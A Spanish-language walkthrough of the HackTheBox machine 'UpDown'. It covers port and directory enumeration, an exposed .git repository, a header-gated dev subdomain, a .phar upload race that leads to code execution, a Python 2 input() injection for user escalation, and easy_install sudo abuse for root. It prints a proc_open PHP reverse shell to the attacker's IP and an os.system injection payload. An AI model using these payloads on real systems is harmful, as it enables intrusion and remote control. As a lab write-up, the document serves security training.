Resumen
UpDown de la plataforma HackTheBox es una máquina Linux de dificultad Medium creada por AB2.
Enumeración
Nmap
Comenzaremos como siempre con un scan con nmap y veremos que solamente está abierto el puerto 22/tcp
y 80/tcp
.
1
2
3
4
5
6
7
8
9
Nmap scan report for 10.129.227.227
Host is up (0.22s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Is my Website up ?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
80/tcp
Enumeración de directorios
Iremos a la página web, en donde se encuentra una especie de herramienta que permite identificar si el sitio indicado se encuentra operativo o no. Además de un nombre de dominio: siteisup.htb
, el cual agregaremos a nuestra tabla host.
Además, es posible marcar la casilla de debug para ver la respuesta HTTP de dicho sitio consultado.
Una vez agregado el dominio a nuestra tabla host, iniciaremos ffuf para descubrir posibles rutas o subdominios.
1
ffuf -c -u "http://siteisup.htb/FUZZ" -w /opt/SecLists/Discovery/Web-Content/common.txt -t 60 -mc all -fs 274 -fc 403
Encontraremos la ruta /dev
.
Si vamos a /dev
veremos un sitio en blanco.
Continuando el fuzzing dentro de este directorio, encontramos algo interesante, un repositorio git.
1
2
3
4
5
.git/index [Status: 200, Size: 521, Words: 4, Lines: 3, Duration: 227ms]
.git [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 222ms]
.git/config [Status: 200, Size: 298, Words: 23, Lines: 14, Duration: 222ms]
.git/HEAD [Status: 200, Size: 21, Words: 2, Lines: 2, Duration: 222ms]
.git/logs/ [Status: 200, Size: 1143, Words: 77, Lines: 18, Duration: 4060ms]
Podemos descargar todo el repositorio para verlo en local con wget -r
.
1
wget -r http://siteisup.htb/dev/.git/
Una vez descargado todo, veremos el directorio .git
y podremos ejecutar comandos de git para ver el histórico de commits realizados al repositorio.
Con git log
podremos ver un listado de los commits realizados.
Usando git show <COMMIT-ID>
podremos ver el cambio realizado en el commit en particular. Existe un commit en específico que llama mucho la atención, tiene por descripción: “New technique in header to protect our dev vhost.”
1
git show bc4ba79e596e9fd98f1b2837b9bd3548d04fe7ab
Al parecer existe un subdominio dev
el cual solo es posible acceder a él si contamos con la cabecera Special-Dev: only4dev
.
Enumeración de subdominios
Verificaremos el subdominio utilizando ffuf nuevamente.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0-dev
________________________________________________
:: Method : GET
:: URL : http://siteisup.htb/
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.siteisup.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 60
:: Matcher : Response status: all
:: Filter : Response size: 1131
________________________________________________
dev [Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 5054ms]
Lo agregamos /etc/hosts
y visitaremos el sitio.
Efectivamente el subdominio existe pero recibimos un Forbidden
, es decir, no tenemos permiso para visualizar el contenido.
Según vimos, solo deberíamos agregar la cabecera para acceder. Esto lo realizaremos en el navegador con la extensión ModHeader para Chrome.
Lo agregamos como Request header y recargamos.
User: www-data
Esta nueva web nos permite subir archivos, primero chequearemos que extensiones podemos subir. Para un archivo .php
nos arrojará un error.
Para fuzzear simplemente enviaremos el request http hacia el intruder de BurpSuite y cargaremos una lista de extensiones PHP que la web de Hacktricks nos facilita. En este caso solo es posible subir archivos .phar
.
Intentaremos subir un archivo para obtener información de PHP
1
<?php phpinfo(); ?>
Después de múltiples intentos de subir el archivo, vemos que genera una carpeta en /uploads
cada vez pero esta se encuentra vacía, ya que procesa el archivo y las URL dentro de él y al acabar lo elimina.
Dicho esto, podemos intentar ejecutar una consulta hacia una URL que controlemos, en donde nuestro servidor se tome su tiempo en responder, de esta forma podremos acceder al archivo info.phar
antes de que se elimine.
Simplemente crearemos un index con un sleep de 40 segundos y levantaremos un servidor web.
Adicionalmente, agregaremos la URL al archivo info.phar
.
1
2
3
4
5
~/Documents/HTB/UpDown/content ❯ cat info.phar
1 │ <?php
2 │ phpinfo();
3 │ ?>
4 │ http://10.10.14.143
Subimos el archivo y ahora la herramienta se demora en procesarla, por lo que esta vez si podemos verlo.
Ahora si abrimos el archivo y bajamos hasta disable_functions veremos que las principales funciones para ejecutar comandos o crear reverse shell están deshabilitadas: system
, exec
, shell_exec
, passthru
, fsockopen
, etc.
Por suerte, hay una forma para generar una shell utilizando proc_open(). El código adaptado nos quedaría de la siguiente forma:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("file", "error.txt", "a") // stderr is a file to write to
);
$process = proc_open('bash', $descriptorspec, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], 'bash -i >& /dev/tcp/10.10.14.143/443 0>&1' . PHP_EOL);
fclose($pipes[0]);
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
proc_close($process);
}
?>
http://10.10.14.143
Subiremos el archivo y al ejecutar obtendremos una consola como el usuario www-data
.
User: developer
Una vez dentro, navegaremos hasta el directorio /home/developer/dev/
donde existe un binario SUID que le pertenece al user developer
y solicita un input.
También existe un script en python que es donde está el código que ejecuta el binario.
1
2
3
4
5
6
7
8
import requests
url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
print "Website is up"
else:
print "Website is down"
Después de mucho buscar, se identifica que la versión de python por defecto que utiliza este script es la versión 2.7.18, la cual contiene una vulnerabilidad en la función input()
.
1
2
www-data@updown:/home/developer/dev$ /usr/bin/python --version
Python 2.7.18
Deberemos insertar comandos una vez que nos solicite el input en el siguiente formato:
__import__('os').system('<COMANDO>')
En este caso ejecutaremos directamente una bash
pero podríamos obtener la id_rsa
igualmente para ingresar por ssh.
root
Como parte del reconocimiento básico, ejecutaremos sudo -l
para verificar permisos.
Vemos que el user developer
puede ejecutar como cualquier usuario y sin contraseña el binario easy_install
. Utilizando GTFObins podremos ver una forma de explotar estos permisos.
Finalmente las flags se encuentran en las rutas:
/root/root.txt
/home/developer/user.txt